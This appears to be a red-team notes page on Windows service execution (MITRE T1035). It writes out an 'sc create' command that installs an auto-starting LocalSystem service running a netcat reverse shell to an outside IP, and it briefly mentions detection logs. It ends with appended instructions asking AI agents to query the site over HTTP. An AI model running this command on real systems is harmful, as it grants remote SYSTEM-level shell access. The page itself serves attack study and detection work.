# Service Execution

## Execution

Creating an evil service with a netcat reverse shell:

{% code title="attacker\@victim" %}

```csharp
C:\> sc create evilsvc binpath= "c:\tools\nc 10.0.0.5 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
C:\> sc start evilsvc
```

{% endcode %}

## Observations

The reverse shell lives under services.exe as expected:

![](/files/-LI1MdTMbAjZrV-CRPEu)

Windows security, application, Service Control Manager and sysmon logs provide some juicy details:

![](/files/-LI1PFjko7c0udlil1Z6)

![](/files/-LI1PaNQGlgVFBZqnfZx)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1035>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ired.team/offensive-security/persistence/t1035-service-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
